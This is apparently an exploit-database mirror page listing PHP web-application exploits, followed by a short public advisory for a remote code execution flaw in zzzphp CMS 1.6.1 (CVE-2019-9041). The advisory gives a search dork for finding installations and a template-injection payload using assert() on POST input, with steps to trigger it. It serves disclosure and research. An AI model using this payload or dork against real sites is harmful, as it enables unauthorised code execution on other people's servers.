Menu

Improved exploit search engine. Try python and hit enter

"zzzphp CMS 1.6.1 - Remote Code Execution"

Author

"Yang Chenglong"

Platform

php

Release date

2019-02-25

Release Date Title Type Platform Author
2019-03-18 "TheCarProject v2 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-03-15 "Moodle 3.4.1 - Remote Code Execution" webapps php "Darryn Ten"
2019-03-15 "Laundry CMS - Multiple Vulnerabilities" webapps php "Mehmet EMIROGLU"
2019-03-15 "Vembu Storegrid Web Interface 4.4.0 - Multiple Vulnerabilities" webapps php "Gionathan Reale"
2019-03-15 "ICE HRM 23.0 - Multiple Vulnerabilities" webapps php "Mehmet EMIROGLU"
2019-03-15 "CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload" webapps php "Daniele Scanu"
2019-03-14 "Pegasus CMS 1.0 - 'extra_fields.php' Plugin Remote Code Execution" webapps php R3zk0n
2019-03-14 "Intel Modular Server System 10.18 - Cross-Site Request Forgery (Change Admin Password)" webapps php LiquidWorm
2019-03-13 "pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting" webapps php "Gionathan Reale"
2019-03-13 "WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion" webapps php "Manuel García Cárdenas"
2019-03-13 "elFinder PHP Connector < 2.1.48 - exiftran Command Injection (Metasploit)" remote php Metasploit
2019-03-12 "PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)" webapps php "Gionathan Reale"
2019-03-11 "Flexpaper PHP Publish Service 2.3.6 - Remote Code Execution" webapps php redtimmysec
2019-03-08 "DirectAdmin 1.55 - 'CMD_ACCOUNT_ADMIN' Cross-Site Request Forgery" webapps php ManhNho
2019-12-12 "phpBB 3.2.3 - Remote Code Execution" webapps php allyshka
2019-03-01 "WordPress Core 5.0 - Remote Code Execution" webapps php allyshka
2019-03-07 "Kados R10 GreenBee - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-03-05 "OpenDocMan 1.3.4 - 'search.php where' SQL Injection" webapps php "Mehmet EMIROGLU"
2019-03-07 "Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)" remote php Metasploit
2019-03-04 "WordPress Plugin Cerber Security_ Antispam & Malware Scan 8.0 - Multiple Bypass Vulnerabilities" webapps php ed0x21son
2019-03-04 "Craft CMS 3.1.12 Pro - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2019-03-04 "Bolt CMS 3.6.4 - Cross-Site Scripting" webapps php "Ismail Tasdelen"
2019-03-04 "elFinder 2.1.47 - Command Injection vulnerability in the PHP connector" webapps php q3rv0
2019-03-04 "CMSsite 1.0 - Multiple Cross-Site Request Forgery" webapps php "Mr Winst0n"
2019-03-04 "OOP CMS BLOG 1.0 - Multiple Cross-Site Request Forgery" webapps php "Mr Winst0n"
2019-03-04 "OOP CMS BLOG 1.0 - Multiple SQL Injection" webapps php "Mr Winst0n"
2019-03-04 "Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-03-04 "zzzphp CMS 1.6.1 - Cross-Site Request Forgery" webapps php "Yang Chenglong"
2019-02-28 "Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Joomla! Component J2Store < 3.3.7 - SQL Injection" webapps php "Andrei Conache"
Release Date Title Type Platform Author
2019-03-04 "zzzphp CMS 1.6.1 - Cross-Site Request Forgery" webapps php "Yang Chenglong"
2019-02-25 "zzzphp CMS 1.6.1 - Remote Code Execution" webapps php "Yang Chenglong"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46454/?format=json')
For full documentation follow the link above

Ads

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1

# Google Dork: intext:"2015-2019 zzcms.com"

# Date: 24/02/2019

# Exploit Author: Yang Chenglong

# Vendor Homepage: http://www.zzzcms.com/index.html

# Software Link: http://115.29.55.18/zzzphp.zip

# Version: 1.6.1

# Tested on: windows/Linux,iis/apache

# CVE : CVE-2019-9041

Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.

Exploit:
login in to the admin panel, edit the template of search.html, insert the following code:

{if:assert($_POST[x])}phpinfo();{end if}

Visit the http://webroot/search/ and post data x = phpinfo();, the page will execute the php code phpinfo() as follow:
[1.png]

Remarks:
While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel.